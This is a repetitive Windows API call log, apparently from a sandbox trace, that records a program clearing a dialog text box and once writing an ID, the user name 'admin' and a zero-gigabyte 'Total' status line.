[0068.939] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0068.995] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0068.995] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.073] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.073] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.110] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.110] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.174] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.174] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.238] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.238] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.302] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.302] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.369] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.369] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.438] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.438] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.511] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.511] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.556] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.556] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.650] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.650] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.690] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.690] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.755] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.755] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.791] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.791] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.853] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.853] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.915] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.916] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0069.980] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0069.980] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.040] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.040] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.105] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.105] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.176] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.176] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.227] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.227] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.289] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.289] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.352] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.352] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.418] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.418] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.506] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.506] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.884] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.885] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0070.945] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0070.945] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.024] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.024] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.117] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.117] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.163] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.163] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.210] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.210] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.260] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.260] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.323] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.323] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.398] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.398] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.459] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.459] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.536] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.536] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.598] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.598] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.666] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.666] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.725] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.725] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.771] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.771] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.853] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.854] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.896] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.896] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0071.991] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0071.991] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.026] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.026] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.068] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.068] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.132] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.132] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.193] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.193] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.255] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.255] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.317] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.317] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.411] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.411] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.442] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.442] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.507] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.507] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.568] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.568] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0072.629] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0072.629] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.008] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.010] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.067] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.067] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.175] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.175] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.222] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.222] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.269] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.269] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.362] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.362] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.410] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.410] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.472] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.472] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.519] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.519] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.580] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.580] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.659] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.659] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.706] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.706] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.772] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.772] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.837] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.837] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0073.940] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0073.940] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.033] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.033] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.067] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.067] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.127] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.127] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.190] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.190] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.252] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.252] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.315] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.315] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.408] wsprintfW (in: param_1=0x18f3f0, param_2="1. ID: %08X\r\n2. %s\r\n" | out: param_1="1. ID: 4B2E4630\r\n2. admin\r\n") returned 27 [0074.408] wsprintfW (in: param_1=0x18f3f0, param_2="3. Total: %I64d.%02I64d gb (%u)/%I64d.%02I64d gb (%u)/%u%%\r\n" | out: param_1="3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 38 [0074.408] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1005) returned 0x6015a [0074.408] SetWindowTextW (hWnd=0x6015a, lpString="1. ID: 4B2E4630\r\n2. admin\r\n--------------------\r\n3. Total: 0.00 gb (0)/0.00 gb (0)/0%\r\n") returned 1 [0074.415] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.415] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.445] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.445] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.904] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.904] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.913] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.913] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0074.954] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0074.954] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.047] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.047] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.094] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.094] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.189] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.189] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.234] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.234] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.267] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.267] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.339] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.339] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.410] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.410] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.456] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.456] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.531] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.531] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.625] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.625] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.672] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.672] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.719] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.719] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.797] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.797] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.843] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.843] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.906] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.906] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0075.965] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0075.965] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.015] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.015] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.078] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.078] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.140] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.140] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.202] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.202] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.290] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.290] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.343] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.343] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.738] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.738] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.794] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.794] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.857] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.857] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0076.966] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0076.966] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.013] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.013] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.061] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.061] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.154] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.154] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.196] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.196] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.254] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.254] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.316] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.316] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.378] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.378] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.450] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.450] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.528] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.528] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.559] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.560] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.668] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.668] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.686] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.686] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.751] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.751] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.809] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.809] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.871] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.871] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.937] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.937] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0077.996] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0077.996] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.058] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.058] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.152] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.152] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.185] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.186] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.383] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.384] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.409] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.409] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.585] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.585] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.643] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.646] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.651] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.651] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.714] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.714] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.791] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.791] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.855] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.855] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.930] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.930] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0078.978] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0078.978] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.072] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.072] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.119] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.119] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.166] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.166] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.217] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.217] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.282] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.282] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.346] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.346] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.429] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.429] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.493] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.493] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.540] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.540] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.593] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.593] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.650] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.650] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.716] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.716] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.775] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.775] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.841] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.841] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.927] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.927] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0079.976] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0079.976] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.024] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.024] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.433] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.433] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.443] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.443] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.492] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.492] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.562] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.562] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.616] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.617] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.679] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.679] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.741] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.741] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.805] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.805] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.866] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.866] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0080.949] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0080.949] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.022] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.022] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.069] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.069] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.159] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.159] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.193] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.194] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.281] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.281] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.318] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.318] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.413] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.413] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.459] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.459] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.505] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.506] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.564] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.564] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.646] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.646] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.678] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.678] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.740] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.740] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.804] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.804] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.865] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.865] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.934] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.934] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0081.990] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0081.990] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.055] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.055] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.118] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 [0082.585] SetWindowTextW (hWnd=0x170274, lpString="") returned 1 [0082.585] GetDlgItem (hDlg=0x6011c, nIDDlgItem=1004) returned 0x170274 